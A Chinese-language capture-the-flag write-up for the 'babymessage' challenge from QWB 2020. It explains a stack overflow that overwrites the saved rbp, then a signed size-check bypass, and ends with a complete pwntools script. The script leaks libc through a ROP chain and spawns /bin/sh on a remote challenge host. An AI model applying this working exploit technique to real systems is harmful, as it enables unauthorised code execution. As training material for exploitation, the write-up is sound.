0%

qwb2020-babymessage

stack overflow

  1. 发现漏洞点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    __int64 __fastcall leave_message(unsigned int a1)
    {
    int v1; // ST14_4@1
    __int64 v3; // [sp+18h] [bp-8h]@1

    puts("message: ");
    v1 = read(0, &v3, a1);//可以覆盖到rbp
    strncpy(buf, (const char *)&v3, v1);
    buf[v1] = 0;
    puts("done!\n");
    return 0LL;
    }
  2. 第一次循环,v1一开始是 16,但 leave_message 中 v3 的长度是 8,造成栈溢出,可以覆盖旧的 rbp,从而在函数返回时伪造 rbp 为任意值。

  3. 返回后进入第二次循环,因为在 v1 和 256 比较大小时以 rbp 为基准寻址,加上有符号比较存在整数溢出漏洞,所以可以伪造 rbp 使得 rbp-4 处的值是一个负数,从而绕过大小检查,在 leave_message 中 read 时读入超长字符串,控制返回地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    __int64 work()
    {
    unsigned int v1; // [sp+Ch] [bp-4h]@1

    buf = (char *)malloc(0x100uLL);
    v1 = mm + 16;
    while ( 1 )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    puts("choice: ");
    __isoc99_scanf("%d", &mm);
    if ( mm != 1 )
    break;
    leave_name();
    }
    if ( mm != 2 )
    break;
    if ( (signed int)v1 > 256 ) //v1是从rbp-4处取值
    v1 = 256;
    leave_message(v1);
    }
    if ( mm != 3 )
    break;
    show(v1);
    }
    if ( mm == 4 )
    break;
    puts("invalid choice");
    }
    return 0LL;
    }
  4. 覆盖a1为0x6010d4,使read能读取更多的输入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    # coding=utf-8
    from pwn import *

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']
    #p = process(["ld-2.23.so","./babymessage"],env={"LD_PRELOAD":"./libc6_2.23-0ubuntu11.2_amd64.so"})
    p = remote('10.10.31.156',10005)
    elf = ELF("./babymessage")
    libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so")
    puts_addr = elf.plt['puts']
    read_got = elf.got['read']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vfunc_addr = elf.symbols['main']

    print ("work addr:" + str(hex(vfunc_addr)))

    system_offset = libc.symbols['system']
    read_offset = libc.symbols['read']
    #binsh_offset = 0x1b40fa
    binsh_offset = next(libc.search(b'/bin/sh'))
    pop_rdi = 0x400ac3
    payload1 = b'aaaabaaa'+p64(0x6010d4) #覆盖rbp为0x6010d4使下一次read可以覆盖更多栈空间
    payload2 = b'a'*16 + p64(0x400ac3) + p64(read_got) + p64(puts_addr) + p64(0x4009dd) #泄露read_got地址,返回main

    #gdb.attach(p,gdbscript='''b *0x40083B''')
    #gdb.attach(p,gdbscript='''b *0x400887''')
    #gdb.attach(p)

    p.sendlineafter("choice: \n","1")
    p.sendlineafter("name: \n","5")
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload1)
    print(payload1)
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload2)
    p.recvuntil("done!\n\n")
    read_addr = p.recv(6)
    read_addr = u64(read_addr.ljust(8,b'\x00'))
    log.info("read_addr = %#x", read_addr)

    system_addr = read_addr - read_offset + system_offset
    binsh_addr = read_addr - read_offset + binsh_offset
    log.info("system_addr = %#x", system_addr)
    log.info("binsh_addr = %#x", binsh_addr)
    payload3 = b'aaaabaaa'+p64(0x6010d4)+p64(0x40099f) #gdb跟到这里发现read的size再次被修改回去了,因此我们再覆盖一次read的size,并返回main函数
    payload5 = b'a'*16 + p64(0x400ac4) + p64(0x400ac3) + p64(binsh_addr) + p64(system_addr) + p64(0x4009dd) #构造rop链,执行system("/bin/sh"),但是调试发现call system时rsp没有对齐,会导致crash,所以需要县ret一次再pop rdi ;ret

    p.sendlineafter("choice: \n","1")
    p.sendlineafter("name: \n","5")
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload3)
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload5)
    p.interactive()